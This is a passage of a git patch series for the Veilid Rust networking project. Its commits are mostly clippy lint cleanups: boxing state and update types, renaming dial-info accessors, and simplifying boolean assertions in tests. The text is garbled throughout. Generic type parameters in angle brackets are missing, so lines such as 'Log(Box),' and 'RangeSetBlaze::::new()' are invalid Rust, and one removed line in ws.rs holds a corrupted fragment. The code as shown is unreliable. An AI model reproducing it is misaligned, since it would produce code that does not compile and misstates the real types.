VeilidUpdate::ValueChange(Box::new(fix_veilidvaluechange())); let copy = deserialize_json(&serialize_json(&orig)).unwrap(); assert_eq!(orig, copy); @@ -268,20 +268,20 @@ pub async fn test_veilidupdate() { pub async fn test_veilidstate() { let orig = VeilidState { - attachment: VeilidStateAttachment { + attachment: Box::new(VeilidStateAttachment { state: AttachmentState::OverAttached, public_internet_ready: true, local_network_ready: false, - }, - network: VeilidStateNetwork { + }), + network: Box::new(VeilidStateNetwork { started: true, bps_down: AlignedU64::from(14_400), bps_up: AlignedU64::from(1200), peers: vec![fix_peertabledata()], - }, - config: VeilidStateConfig { + }), + config: Box::new(VeilidStateConfig { config: fix_veilidconfiginner(), - }, + }), }; let copy = deserialize_json(&serialize_json(&orig)).unwrap(); diff --git a/veilid-core/src/veilid_api/types/dht/schema/dflt.rs b/veilid-core/src/veilid_api/types/dht/schema/dflt.rs index bb4e7c6e..144d6075 100644 --- a/veilid-core/src/veilid_api/types/dht/schema/dflt.rs +++ b/veilid-core/src/veilid_api/types/dht/schema/dflt.rs @@ -61,7 +61,7 @@ impl TryFrom<&[u8]> for DHTSchemaDFLT { if b.len() != Self::FIXED_SIZE { apibail_generic!("invalid size"); } - if &b[0..4] != &Self::FCC { + if b[0..4] != Self::FCC { apibail_generic!("wrong fourcc"); } diff --git a/veilid-core/src/veilid_api/types/dht/schema/smpl.rs b/veilid-core/src/veilid_api/types/dht/schema/smpl.rs index b14ed67c..c1511a4b 100644 --- a/veilid-core/src/veilid_api/types/dht/schema/smpl.rs +++ b/veilid-core/src/veilid_api/types/dht/schema/smpl.rs @@ -101,7 +101,7 @@ impl TryFrom<&[u8]> for DHTSchemaSMPL { if b.len() < Self::FIXED_SIZE { apibail_generic!("invalid size"); } - if &b[0..4] != &Self::FCC { + if b[0..4] != Self::FCC { apibail_generic!("wrong fourcc"); } if (b.len() - Self::FIXED_SIZE) % (PUBLIC_KEY_LENGTH + 2) != 0 { diff --git a/veilid-core/src/veilid_api/types/dht/value_subkey_range_set.rs b/veilid-core/src/veilid_api/types/dht/value_subkey_range_set.rs index 9e7eb970..99ba294b 100644 --- a/veilid-core/src/veilid_api/types/dht/value_subkey_range_set.rs +++ b/veilid-core/src/veilid_api/types/dht/value_subkey_range_set.rs @@ -32,10 +32,13 @@ impl FromStr for ValueSubkeyRangeSet { fn from_str(value: &str) -> Result { let mut data = RangeSetBlaze::::new(); - for r in value.split(",") { + for r in value.split(',') { let r = r.trim(); let Some((ss, es)) = r.split_once("..=") else { - return Err(VeilidAPIError::parse_error("can not parse ValueSubkeyRangeSet", r)); + return Err(VeilidAPIError::parse_error( + "can not parse ValueSubkeyRangeSet", + r, + )); }; let sn = ValueSubkey::from_str(ss) .map_err(|e| VeilidAPIError::parse_error("could not parse ValueSubkey", e))?; diff --git a/veilid-core/src/veilid_api/types/veilid_state.rs b/veilid-core/src/veilid_api/types/veilid_state.rs index 49b180c9..4f2d441d 100644 --- a/veilid-core/src/veilid_api/types/veilid_state.rs +++ b/veilid-core/src/veilid_api/types/veilid_state.rs @@ -108,14 +108,14 @@ pub struct VeilidValueChange { #[cfg_attr(target_arch = "wasm32", derive(Tsify), tsify(into_wasm_abi))] #[serde(tag = "kind")] pub enum VeilidUpdate { - Log(VeilidLog), - AppMessage(VeilidAppMessage), - AppCall(VeilidAppCall), - Attachment(VeilidStateAttachment), - Network(VeilidStateNetwork), - Config(VeilidStateConfig), - RouteChange(VeilidRouteChange), - ValueChange(VeilidValueChange), + Log(Box), + AppMessage(Box), + AppCall(Box), + Attachment(Box), + Network(Box), + Config(Box), + RouteChange(Box), + ValueChange(Box), Shutdown, } from_impl_to_jsvalue!(VeilidUpdate); @@ -123,8 +123,8 @@ from_impl_to_jsvalue!(VeilidUpdate); #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, JsonSchema)] #[cfg_attr(target_arch = "wasm32", derive(Tsify), tsify(into_wasm_abi))] pub struct VeilidState { - pub attachment: VeilidStateAttachment, - pub network: VeilidStateNetwork, - pub config: VeilidStateConfig, + pub attachment: Box, + pub network: Box, + pub config: Box, } from_impl_to_jsvalue!(VeilidState); diff --git a/veilid-core/src/veilid_config.rs b/veilid-core/src/veilid_config.rs index f8a5cf88..2877eea6 100644 --- a/veilid-core/src/veilid_config.rs +++ b/veilid-core/src/veilid_config.rs @@ -565,11 +565,11 @@ impl VeilidConfig { }) } - pub fn get_veilid_state(&self) -> VeilidStateConfig { + pub fn get_veilid_state(&self) -> Box { let inner = self.inner.read(); - VeilidStateConfig { + Box::new(VeilidStateConfig { config: inner.clone(), - } + }) } pub fn get(&self) -> RwLockReadGuard { @@ -612,7 +612,7 @@ impl VeilidConfig { // Make changes let out = f(&mut editedinner)?; // Validate - Self::validate(&mut editedinner)?; + Self::validate(&editedinner)?; // See if things have changed if *inner == editedinner { // No changes, return early @@ -626,7 +626,9 @@ impl VeilidConfig { // Send configuration update to clients if let Some(update_cb) = &self.update_cb { let safe_cfg = self.safe_config_inner(); - update_cb(VeilidUpdate::Config(VeilidStateConfig { config: safe_cfg })); + update_cb(VeilidUpdate::Config(Box::new(VeilidStateConfig { + config: safe_cfg, + }))); } Ok(out) @@ -680,7 +682,7 @@ impl VeilidConfig { // Replace subkey let mut out = &mut jvc; for k in objkeypath { - if !out.has_key(*k) { + if !out.has_key(k) { apibail_parse_error!(format!("invalid subkey in key '{}'", key), k); } out = &mut out[*k]; diff --git a/veilid-server/src/client_api.rs b/veilid-server/src/client_api.rs index c12ad8c7..68ab0cb7 100644 --- a/veilid-server/src/client_api.rs +++ b/veilid-server/src/client_api.rs @@ -150,7 +150,7 @@ impl ClientApi { // Process control messages for the server async fn process_control(self, args: Vec) -> VeilidAPIResult { - if args.len() == 0 { + if args.is_empty() { apibail_generic!("no control request specified"); } if args[0] == "Shutdown" { @@ -207,7 +207,7 @@ impl ClientApi { // Avoid logging failed deserialization of large adversarial payloads from // http://127.0.0.1:5959 by using an initial colon to force a parse error. - let sanitized_line = if line.len() > MAX_NON_JSON_LOGGING && !line.starts_with("{") { + let sanitized_line = if line.len() > MAX_NON_JSON_LOGGING && !line.starts_with('{') { ":skipped long input that's not a JSON object".to_string() } else { line.to_string() @@ -265,7 +265,7 @@ impl ClientApi { linebuf.clear(); // Ignore newlines - if line.len() == 0 { + if line.is_empty() { continue; } @@ -289,7 +289,7 @@ impl ClientApi { mut writer: W, ) -> VeilidAPIResult> { while let Ok(resp) = responses_rx.recv_async().await { - if let Err(_) = writer.write_all(resp.as_bytes()).await { + if (writer.write_all(resp.as_bytes()).await).is_err() { break; } } @@ -420,7 +420,7 @@ impl ClientApi { // Pass other updates to clients let inner = self.inner.lock(); for ch in inner.update_channels.values() { - if let Err(_) = ch.send(veilid_update.clone()) { + if ch.send(veilid_update.clone()).is_err() { // eprintln!("failed to send update: {}", e); } } diff --git a/veilid-server/src/main.rs b/veilid-server/src/main.rs index a555f2ee..252ba2d4 100644 --- a/veilid-server/src/main.rs +++ b/veilid-server/src/main.rs @@ -20,7 +20,7 @@ use clap::{Args, Parser}; use server::*; use settings::LogLevel; use std::collections::HashMap; -use std::ffi::{OsStr, OsString}; +use std::ffi::OsString; use std::path::Path; use std::str::FromStr; use tools::*; @@ -162,17 +162,11 @@ fn main() -> EyreResult<()> { } // Attempt to load configuration - let settings_path: Option<&OsStr> = if let Some(config_file) = &args.config_file { - if Path::new(&config_file).exists() { - Some(config_file) - } else { - None - } - } else { - None - }; + let settings_path: Option = args + .config_file + .filter(|config_file| Path::new(&config_file).exists()); - let settings = Settings::new(settings_path).wrap_err("configuration is invalid")?; + let settings = Settings::new(settings_path.as_deref()).wrap_err("configuration is invalid")?; // write lock the settings let mut settingsrw = settings.write(); @@ -303,7 +297,7 @@ fn main() -> EyreResult<()> { // --- Generate DHT Key --- if let Some(ckstr) = args.generate_key_pair { - if ckstr == "" { + if ckstr.is_empty() { let mut tks = veilid_core::TypedKeyGroup::new(); let mut tss = veilid_core::TypedSecretGroup::new(); for ck in veilid_core::VALID_CRYPTO_KINDS { @@ -312,16 +306,12 @@ fn main() -> EyreResult<()> { tks.add(veilid_core::TypedKey::new(tkp.kind, tkp.value.key)); tss.add(veilid_core::TypedSecret::new(tkp.kind, tkp.value.secret)); } - println!( - "Public Keys:\n{}\nSecret Keys:\n{}\n", - tks.to_string(), - tss.to_string() - ); + println!("Public Keys:\n{}\nSecret Keys:\n{}\n", tks, tss); } else { let ck: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&ckstr).wrap_err("couldn't parse crypto kind")?; let tkp = veilid_core::Crypto::generate_keypair(ck).wrap_err("invalid crypto kind")?; - println!("{}", tkp.to_string()); + println!("{}", tkp); } return Ok(()); } diff --git a/veilid-server/src/server.rs b/veilid-server/src/server.rs index e918fc2f..8cfbe032 100644 --- a/veilid-server/src/server.rs +++ b/veilid-server/src/server.rs @@ -48,7 +48,19 @@ pub async fn run_veilid_server_internal( ) -> EyreResult<()> { trace!(?settings, ?server_mode); - let settingsr = settings.read(); + let ( + settings_auto_attach, + settings_client_api_enabled, + settings_client_api_listen_address_addrs, + ) = { + let settingsr = settings.read(); + + ( + settingsr.auto_attach, + settingsr.client_api.enabled, + settingsr.client_api.listen_address.addrs.clone(), + ) + }; // Create client api state change pipe let (sender, receiver): ( @@ -72,20 +84,19 @@ pub async fn run_veilid_server_internal( .wrap_err("VeilidCore startup failed")?; // Start client api if one is requested - let mut capi = if settingsr.client_api.enabled && matches!(server_mode, ServerMode::Normal) { + let mut capi = if settings_client_api_enabled && matches!(server_mode, ServerMode::Normal) { let some_capi = client_api::ClientApi::new(veilid_api.clone(), veilid_logs.clone(), settings.clone()); some_capi .clone() - .run(settingsr.client_api.listen_address.addrs.clone()); + .run(settings_client_api_listen_address_addrs); Some(some_capi) } else { None }; // Drop rwlock on settings - let auto_attach = settingsr.auto_attach || !matches!(server_mode, ServerMode::Normal); - drop(settingsr); + let auto_attach = settings_auto_attach || !matches!(server_mode, ServerMode::Normal); // Process all updates let capi2 = capi.clone(); diff --git a/veilid-server/src/settings.rs b/veilid-server/src/settings.rs index 498882fd..abc73335 100644 --- a/veilid-server/src/settings.rs +++ b/veilid-server/src/settings.rs @@ -1,5 +1,3 @@ -#![allow(clippy::bool_assert_comparison)] - use clap::ValueEnum; use directories::*; @@ -714,62 +712,62 @@ impl Settings { } // bump client api port - (*settingsrw).client_api.listen_address.offset_port(idx)?; + settingsrw.client_api.listen_address.offset_port(idx)?; // bump protocol ports - (*settingsrw) + settingsrw .core .network .protocol .udp .listen_address .offset_port(idx)?; - (*settingsrw) + settingsrw .core .network .protocol .tcp .listen_address .offset_port(idx)?; - (*settingsrw) + settingsrw .core .network .protocol .ws .listen_address .offset_port(idx)?; - if let Some(url) = &mut (*settingsrw).core.network.protocol.ws.url { + if let Some(url) = &mut settingsrw.core.network.protocol.ws.url { url.offset_port(idx)?; } - (*settingsrw) + settingsrw .core .network .protocol .wss .listen_address .offset_port(idx)?; - if let Some(url) = &mut (*settingsrw).core.network.protocol.wss.url { + if let Some(url) = &mut settingsrw.core.network.protocol.wss.url { url.offset_port(idx)?; } // bump application ports - (*settingsrw) + settingsrw .core .network .application .http .listen_address .offset_port(idx)?; - if let Some(url) = &mut (*settingsrw).core.network.application.http.url { + if let Some(url) = &mut settingsrw.core.network.application.http.url { url.offset_port(idx)?; } - (*settingsrw) + settingsrw .core .network .application .https .listen_address .offset_port(idx)?; - if let Some(url) = &mut (*settingsrw).core.network.application.https.url { + if let Some(url) = &mut settingsrw.core.network.application.https.url { url.offset_port(idx)?; } Ok(()) @@ -1531,7 +1529,7 @@ mod tests { let settings = Settings::new(None).unwrap(); let s = settings.read(); - assert_eq!(s.daemon.enabled, false); + assert!(!s.daemon.enabled); assert_eq!(s.daemon.pid_file, None); assert_eq!(s.daemon.chroot, None); assert_eq!(s.daemon.working_directory, None); @@ -1539,51 +1537,51 @@ mod tests { assert_eq!(s.daemon.group, None); assert_eq!(s.daemon.stdout_file, None); assert_eq!(s.daemon.stderr_file, None); - assert_eq!(s.client_api.enabled, true); + assert!(s.client_api.enabled); assert_eq!(s.client_api.listen_address.name, "localhost:5959"); assert_eq!( s.client_api.listen_address.addrs, listen_address_to_socket_addrs("localhost:5959").unwrap() ); - assert_eq!(s.auto_attach, true); - assert_eq!(s.logging.system.enabled, false); + assert!(s.auto_attach); + assert!(!s.logging.system.enabled); assert_eq!(s.logging.system.level, LogLevel::Info); - assert_eq!(s.logging.terminal.enabled, true); + assert!(s.logging.terminal.enabled); assert_eq!(s.logging.terminal.level, LogLevel::Info); - assert_eq!(s.logging.file.enabled, false); + assert!(!s.logging.file.enabled); assert_eq!(s.logging.file.path, ""); - assert_eq!(s.logging.file.append, true); + assert!(s.logging.file.append); assert_eq!(s.logging.file.level, LogLevel::Info); - assert_eq!(s.logging.api.enabled, true); + assert!(s.logging.api.enabled); assert_eq!(s.logging.api.level, LogLevel::Info); - assert_eq!(s.logging.otlp.enabled, false); + assert!(!s.logging.otlp.enabled); assert_eq!(s.logging.otlp.level, LogLevel::Trace); assert_eq!( s.logging.otlp.grpc_endpoint, NamedSocketAddrs::from_str("localhost:4317").unwrap() ); - assert_eq!(s.logging.console.enabled, false); + assert!(!s.logging.console.enabled); assert_eq!(s.testing.subnode_index, 0); assert_eq!( s.core.table_store.directory, Settings::get_default_table_store_path() ); - assert_eq!(s.core.table_store.delete, false); + assert!(!s.core.table_store.delete); assert_eq!( s.core.block_store.directory, Settings::get_default_block_store_path() ); - assert_eq!(s.core.block_store.delete, false); + assert!(!s.core.block_store.delete); - assert_eq!(s.core.protected_store.allow_insecure_fallback, true); - assert_eq!(s.core.protected_store.always_use_insecure_storage, true); + assert!(s.core.protected_store.allow_insecure_fallback); + assert!(s.core.protected_store.always_use_insecure_storage); assert_eq!( s.core.protected_store.directory, Settings::get_default_protected_store_directory() ); - assert_eq!(s.core.protected_store.delete, false); + assert!(!s.core.protected_store.delete); assert_eq!(s.core.protected_store.device_encryption_key_password, ""); assert_eq!( s.core.protected_store.new_device_encryption_key_password, @@ -1633,8 +1631,8 @@ mod tests { 2_000u32 ); // - assert_eq!(s.core.network.upnp, true); - assert_eq!(s.core.network.detect_address_changes, true); + assert!(s.core.network.upnp); + assert!(s.core.network.detect_address_changes); assert_eq!(s.core.network.restricted_nat_retries, 0u32); // assert_eq!( @@ -1647,7 +1645,7 @@ mod tests { ); assert_eq!(s.core.network.tls.connection_initial_timeout_ms, 2_000u32); // - assert_eq!(s.core.network.application.https.enabled, false); + assert!(!s.core.network.application.https.enabled); assert_eq!(s.core.network.application.https.listen_address.name, ":443"); assert_eq!( s.core.network.application.https.listen_address.addrs, @@ -1658,7 +1656,7 @@ mod tests { std::path::PathBuf::from("app") ); assert_eq!(s.core.network.application.https.url, None); - assert_eq!(s.core.network.application.http.enabled, false); + assert!(!s.core.network.application.http.enabled); assert_eq!(s.core.network.application.http.listen_address.name, ":80"); assert_eq!( s.core.network.application.http.listen_address.addrs, @@ -1670,23 +1668,23 @@ mod tests { ); assert_eq!(s.core.network.application.http.url, None); // - assert_eq!(s.core.network.protocol.udp.enabled, true); + assert!(s.core.network.protocol.udp.enabled); assert_eq!(s.core.network.protocol.udp.socket_pool_size, 0); assert_eq!(s.core.network.protocol.udp.listen_address.name, ""); assert_eq!(s.core.network.protocol.udp.listen_address.addrs, vec![]); assert_eq!(s.core.network.protocol.udp.public_address, None); // - assert_eq!(s.core.network.protocol.tcp.connect, true); - assert_eq!(s.core.network.protocol.tcp.listen, true); + assert!(s.core.network.protocol.tcp.connect); + assert!(s.core.network.protocol.tcp.listen); assert_eq!(s.core.network.protocol.tcp.max_connections, 32); assert_eq!(s.core.network.protocol.tcp.listen_address.name, ""); assert_eq!(s.core.network.protocol.tcp.listen_address.addrs, vec![]); assert_eq!(s.core.network.protocol.tcp.public_address, None); // - assert_eq!(s.core.network.protocol.ws.connect, true); - assert_eq!(s.core.network.protocol.ws.listen, true); + assert!(s.core.network.protocol.ws.connect); + assert!(s.core.network.protocol.ws.listen); assert_eq!(s.core.network.protocol.ws.max_connections, 32); assert_eq!(s.core.network.protocol.ws.listen_address.name, ""); assert_eq!(s.core.network.protocol.ws.listen_address.addrs, vec![]); @@ -1696,8 +1694,8 @@ mod tests { ); assert_eq!(s.core.network.protocol.ws.url, None); // - assert_eq!(s.core.network.protocol.wss.connect, true); - assert_eq!(s.core.network.protocol.wss.listen, false); + assert!(s.core.network.protocol.wss.connect); + assert!(!s.core.network.protocol.wss.listen); assert_eq!(s.core.network.protocol.wss.max_connections, 32); assert_eq!(s.core.network.protocol.wss.listen_address.name, ""); assert_eq!(s.core.network.protocol.wss.listen_address.addrs, vec![]); diff --git a/veilid-server/src/unix.rs b/veilid-server/src/unix.rs index 0738c7a6..b9ab9dba 100644 --- a/veilid-server/src/unix.rs +++ b/veilid-server/src/unix.rs @@ -1,8 +1,8 @@ -use crate::*; use crate::server::*; use crate::settings::Settings; use crate::tools::*; use crate::veilid_logs::*; +use crate::*; use futures_util::StreamExt; use signal_hook::consts::signal::*; use signal_hook_async_std::Signals; @@ -84,7 +84,7 @@ pub fn run_daemon(settings: Settings, _args: CmdlineArgs) -> EyreResult<()> { // Catch signals let signals = - Signals::new(&[SIGHUP, SIGTERM, SIGINT, SIGQUIT]).wrap_err("failed to init signals")?; + Signals::new([SIGHUP, SIGTERM, SIGINT, SIGQUIT]).wrap_err("failed to init signals")?; let handle = signals.handle(); let signals_task = spawn(handle_signals(signals)); From 20451af880da8f37d6a5f1deaff0c8f8f8e3bb3a Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Mon, 18 Sep 2023 19:49:57 -0400 Subject: [PATCH 61/86] more clippy --- veilid-core/src/intf/wasm/protected_store.rs | 7 +-- .../src/network_manager/connection_manager.rs | 22 +------- veilid-core/src/network_manager/mod.rs | 2 +- veilid-core/src/network_manager/native/mod.rs | 14 +++--- .../src/network_manager/native/protocol/ws.rs | 4 +- .../network_manager/types/dial_info/mod.rs | 4 +- veilid-core/src/network_manager/wasm/mod.rs | 46 ++++++++--------- .../src/network_manager/wasm/protocol/mod.rs | 2 +- .../src/network_manager/wasm/protocol/ws.rs | 4 +- .../src/routing_table/routing_domains.rs | 8 +-- .../operations/operation_watch_value.rs | 15 ++++-- .../src/tests/common/test_protected_store.rs | 2 +- veilid-tools/src/timestamp.rs | 50 +++++++++++-------- veilid-tools/src/wasm.rs | 4 +- veilid-wasm/src/lib.rs | 30 +++++------ veilid-wasm/src/veilid_client_js.rs | 5 +- veilid-wasm/src/veilid_crypto_js.rs | 4 +- veilid-wasm/src/veilid_table_db_js.rs | 14 +++++- 18 files changed, 115 insertions(+), 122 deletions(-) diff --git a/veilid-core/src/intf/wasm/protected_store.rs b/veilid-core/src/intf/wasm/protected_store.rs index 087596ef..84216ad0 100644 --- a/veilid-core/src/intf/wasm/protected_store.rs +++ b/veilid-core/src/intf/wasm/protected_store.rs @@ -69,14 +69,11 @@ impl ProtectedStore { let vkey = self.browser_key_name(key.as_ref()); - let prev = match ls + let prev = ls .get_item(&vkey) .map_err(map_jsvalue_error) .wrap_err("exception_thrown")? - { - Some(_) => true, - None => false, - }; + .is_some(); ls.set_item(&vkey, value.as_ref()) .map_err(map_jsvalue_error) diff --git a/veilid-core/src/network_manager/connection_manager.rs b/veilid-core/src/network_manager/connection_manager.rs index d5ad429c..df2fe3ef 100644 --- a/veilid-core/src/network_manager/connection_manager.rs +++ b/veilid-core/src/network_manager/connection_manager.rs @@ -249,7 +249,7 @@ impl ConnectionManager { &self, dial_info: DialInfo, ) -> EyreResult> { - let peer_address = dial_info.to_peer_address(); + let peer_address = dial_info.peer_address(); let remote_addr = peer_address.socket_addr(); let mut preferred_local_address = self .network_manager() @@ -301,26 +301,6 @@ impl ConnectionManager { .await; match result_net_res { Ok(net_res) => { - // // If the connection 'already exists', then try one last time to return a connection from the table, in case - // // an 'accept' happened at literally the same time as our connect. A preferred local address must have been - // // specified otherwise we would have picked a different ephemeral port and this could not have happened - // if net_res.is_already_exists() && preferred_local_address.is_some() { - // // Make 'already existing' connection descriptor - // let conn_desc = ConnectionDescriptor::new( - // dial_info.to_peer_address(), - // SocketAddress::from_socket_addr(preferred_local_address.unwrap()), - // ); - // // Return the connection for this if we have it - // if let Some(conn) = self - // .arc - // .connection_table - // .get_connection_by_descriptor(conn_desc) - // { - // // Should not really happen, lets make sure we see this if it does - // log_net!(warn "== Returning existing connection in race: {:?}", conn_desc); - // return Ok(NetworkResult::Value(conn)); - // } - // } if net_res.is_value() || retry_count == 0 { // Successful new connection, return it break net_res; diff --git a/veilid-core/src/network_manager/mod.rs b/veilid-core/src/network_manager/mod.rs index d5708f9f..473d4d77 100644 --- a/veilid-core/src/network_manager/mod.rs +++ b/veilid-core/src/network_manager/mod.rs @@ -46,7 +46,7 @@ use storage_manager::*; #[cfg(target_arch = "wasm32")] use wasm::*; #[cfg(target_arch = "wasm32")] -pub use wasm::{LOCAL_NETWORK_CAPABILITIES, MAX_CAPABILITIES, PUBLIC_INTERNET_CAPABILITIES}; +pub use wasm::{/* LOCAL_NETWORK_CAPABILITIES, */ MAX_CAPABILITIES, PUBLIC_INTERNET_CAPABILITIES,}; //////////////////////////////////////////////////////////////////////////////////////// diff --git a/veilid-core/src/network_manager/native/mod.rs b/veilid-core/src/network_manager/native/mod.rs index 389eebbd..0cd77f0b 100644 --- a/veilid-core/src/network_manager/native/mod.rs +++ b/veilid-core/src/network_manager/native/mod.rs @@ -462,7 +462,7 @@ impl Network { } // Network accounting self.network_manager() - .stats_packet_sent(dial_info.to_ip_addr(), ByteCount::new(data_len as u64)); + .stats_packet_sent(dial_info.ip_addr(), ByteCount::new(data_len as u64)); Ok(NetworkResult::Value(())) }) @@ -507,7 +507,7 @@ impl Network { .await .wrap_err("send message failure")?); self.network_manager() - .stats_packet_sent(dial_info.to_ip_addr(), ByteCount::new(data_len as u64)); + .stats_packet_sent(dial_info.ip_addr(), ByteCount::new(data_len as u64)); // receive single response let mut out = vec![0u8; MAX_MESSAGE_SIZE]; @@ -552,7 +552,7 @@ impl Network { network_result_try!(pnc.send(data).await.wrap_err("send failure")?); self.network_manager() - .stats_packet_sent(dial_info.to_ip_addr(), ByteCount::new(data_len as u64)); + .stats_packet_sent(dial_info.ip_addr(), ByteCount::new(data_len as u64)); let out = network_result_try!(network_result_try!(timeout(timeout_ms, pnc.recv()) @@ -560,10 +560,8 @@ impl Network { .into_network_result()) .wrap_err("recv failure")?); - self.network_manager().stats_packet_rcvd( - dial_info.to_ip_addr(), - ByteCount::new(out.len() as u64), - ); + self.network_manager() + .stats_packet_rcvd(dial_info.ip_addr(), ByteCount::new(out.len() as u64)); Ok(NetworkResult::Value(out)) } @@ -676,7 +674,7 @@ impl Network { // Network accounting self.network_manager() - .stats_packet_sent(dial_info.to_ip_addr(), ByteCount::new(data_len as u64)); + .stats_packet_sent(dial_info.ip_addr(), ByteCount::new(data_len as u64)); Ok(NetworkResult::value(connection_descriptor)) }) diff --git a/veilid-core/src/network_manager/native/protocol/ws.rs b/veilid-core/src/network_manager/native/protocol/ws.rs index 4a3d09c6..a98519d6 100644 --- a/veilid-core/src/network_manager/native/protocol/ws.rs +++ b/veilid-core/src/network_manager/native/protocol/ws.rs @@ -20,7 +20,7 @@ const MAX_WS_BEFORE_BODY: usize = 2048; cfg_if! { if #[cfg(feature="rt-async-std")] { pub type WebsocketNetworkConnectionWSS = - DialInfo::WS { field1: _ }ketNetworkConnection>; + WebsocketNetworkConnection>; pub type WebsocketNetworkConnectionWS = WebsocketNetworkConnection; } else if #[cfg(feature="rt-tokio")] { pub type WebsocketNetworkConnectionWSS = @@ -306,7 +306,7 @@ impl WebsocketProtocolHandler { // Make our connection descriptor let descriptor = ConnectionDescriptor::new( - dial_info.to_peer_address(), + dial_info.peer_address(), SocketAddress::from_socket_addr(actual_local_addr), ); diff --git a/veilid-core/src/network_manager/types/dial_info/mod.rs b/veilid-core/src/network_manager/types/dial_info/mod.rs index c90dcc97..1940b80e 100644 --- a/veilid-core/src/network_manager/types/dial_info/mod.rs +++ b/veilid-core/src/network_manager/types/dial_info/mod.rs @@ -242,7 +242,7 @@ impl DialInfo { Self::WSS(di) => di.socket_address, } } - pub fn to_ip_addr(&self) -> IpAddr { + pub fn ip_addr(&self) -> IpAddr { match self { Self::UDP(di) => di.socket_address.ip_addr(), Self::TCP(di) => di.socket_address.ip_addr(), @@ -274,7 +274,7 @@ impl DialInfo { Self::WSS(di) => di.socket_address.socket_addr(), } } - pub fn to_peer_address(&self) -> PeerAddress { + pub fn peer_address(&self) -> PeerAddress { match self { Self::UDP(di) => PeerAddress::new(di.socket_address, ProtocolType::UDP), Self::TCP(di) => PeerAddress::new(di.socket_address, ProtocolType::TCP), diff --git a/veilid-core/src/network_manager/wasm/mod.rs b/veilid-core/src/network_manager/wasm/mod.rs index b9e66e8c..5924c5eb 100644 --- a/veilid-core/src/network_manager/wasm/mod.rs +++ b/veilid-core/src/network_manager/wasm/mod.rs @@ -32,18 +32,18 @@ pub const PUBLIC_INTERNET_CAPABILITIES: [Capability; PUBLIC_INTERNET_CAPABILITIE CAP_BLOCKSTORE, ]; -#[cfg(feature = "unstable-blockstore")] -const LOCAL_NETWORK_CAPABILITIES_LEN: usize = 3; -#[cfg(not(feature = "unstable-blockstore"))] -const LOCAL_NETWORK_CAPABILITIES_LEN: usize = 2; +// #[cfg(feature = "unstable-blockstore")] +// const LOCAL_NETWORK_CAPABILITIES_LEN: usize = 3; +// #[cfg(not(feature = "unstable-blockstore"))] +// const LOCAL_NETWORK_CAPABILITIES_LEN: usize = 2; -pub const LOCAL_NETWORK_CAPABILITIES: [Capability; LOCAL_NETWORK_CAPABILITIES_LEN] = [ - //CAP_RELAY, - CAP_DHT, - CAP_APPMESSAGE, - #[cfg(feature = "unstable-blockstore")] - CAP_BLOCKSTORE, -]; +// pub const LOCAL_NETWORK_CAPABILITIES: [Capability; LOCAL_NETWORK_CAPABILITIES_LEN] = [ +// //CAP_RELAY, +// CAP_DHT, +// CAP_APPMESSAGE, +// #[cfg(feature = "unstable-blockstore")] +// CAP_BLOCKSTORE, +// ]; pub const MAX_CAPABILITIES: usize = 64; @@ -149,7 +149,7 @@ impl Network { if self .network_manager() .address_filter() - .is_ip_addr_punished(dial_info.address().to_ip_addr()) + .is_ip_addr_punished(dial_info.address().ip_addr()) { return Ok(NetworkResult::no_connection_other("punished")); } @@ -173,7 +173,7 @@ impl Network { // Network accounting self.network_manager() - .stats_packet_sent(dial_info.to_ip_addr(), ByteCount::new(data_len as u64)); + .stats_packet_sent(dial_info.ip_addr(), ByteCount::new(data_len as u64)); Ok(NetworkResult::Value(())) }) @@ -202,7 +202,7 @@ impl Network { if self .network_manager() .address_filter() - .is_ip_addr_punished(dial_info.address().to_ip_addr()) + .is_ip_addr_punished(dial_info.address().ip_addr()) { return Ok(NetworkResult::no_connection_other("punished")); } @@ -227,7 +227,7 @@ impl Network { network_result_try!(pnc.send(data).await.wrap_err("send failure")?); self.network_manager() - .stats_packet_sent(dial_info.to_ip_addr(), ByteCount::new(data_len as u64)); + .stats_packet_sent(dial_info.ip_addr(), ByteCount::new(data_len as u64)); let out = network_result_try!(network_result_try!(timeout(timeout_ms, pnc.recv()) @@ -235,10 +235,8 @@ impl Network { .into_network_result()) .wrap_err("recv failure")?); - self.network_manager().stats_packet_rcvd( - dial_info.to_ip_addr(), - ByteCount::new(out.len() as u64), - ); + self.network_manager() + .stats_packet_rcvd(dial_info.ip_addr(), ByteCount::new(out.len() as u64)); Ok(NetworkResult::Value(out)) } @@ -273,7 +271,7 @@ impl Network { ConnectionHandleSendResult::Sent => { // Network accounting self.network_manager().stats_packet_sent( - descriptor.remote().to_socket_addr().ip(), + descriptor.remote().socket_addr().ip(), ByteCount::new(data_len as u64), ); @@ -324,7 +322,7 @@ impl Network { // Network accounting self.network_manager() - .stats_packet_sent(dial_info.to_ip_addr(), ByteCount::new(data_len as u64)); + .stats_packet_sent(dial_info.ip_addr(), ByteCount::new(data_len as u64)); Ok(NetworkResult::value(connection_descriptor)) }) @@ -434,11 +432,11 @@ impl Network { Vec::new() } - pub fn get_local_port(&self, protocol_type: ProtocolType) -> Option { + pub fn get_local_port(&self, _protocol_type: ProtocolType) -> Option { None } - pub fn get_preferred_local_address(&self, dial_info: &DialInfo) -> Option { + pub fn get_preferred_local_address(&self, _dial_info: &DialInfo) -> Option { None } @@ -456,7 +454,7 @@ impl Network { } pub fn get_protocol_config(&self) -> ProtocolConfig { - self.inner.lock().protocol_config.clone() + self.inner.lock().protocol_config } ////////////////////////////////////////// diff --git a/veilid-core/src/network_manager/wasm/protocol/mod.rs b/veilid-core/src/network_manager/wasm/protocol/mod.rs index 846cff18..c3f3392b 100644 --- a/veilid-core/src/network_manager/wasm/protocol/mod.rs +++ b/veilid-core/src/network_manager/wasm/protocol/mod.rs @@ -19,7 +19,7 @@ impl ProtocolNetworkConnection { timeout_ms: u32, address_filter: AddressFilter, ) -> io::Result> { - if address_filter.is_ip_addr_punished(dial_info.address().to_ip_addr()) { + if address_filter.is_ip_addr_punished(dial_info.address().ip_addr()) { return Ok(NetworkResult::no_connection_other("punished")); } match dial_info.protocol_type() { diff --git a/veilid-core/src/network_manager/wasm/protocol/ws.rs b/veilid-core/src/network_manager/wasm/protocol/ws.rs index 127122b3..670c70c9 100644 --- a/veilid-core/src/network_manager/wasm/protocol/ws.rs +++ b/veilid-core/src/network_manager/wasm/protocol/ws.rs @@ -56,7 +56,7 @@ impl WebsocketNetworkConnection { } pub fn descriptor(&self) -> ConnectionDescriptor { - self.descriptor.clone() + self.descriptor } // #[instrument(level = "trace", err, skip(self))] @@ -144,7 +144,7 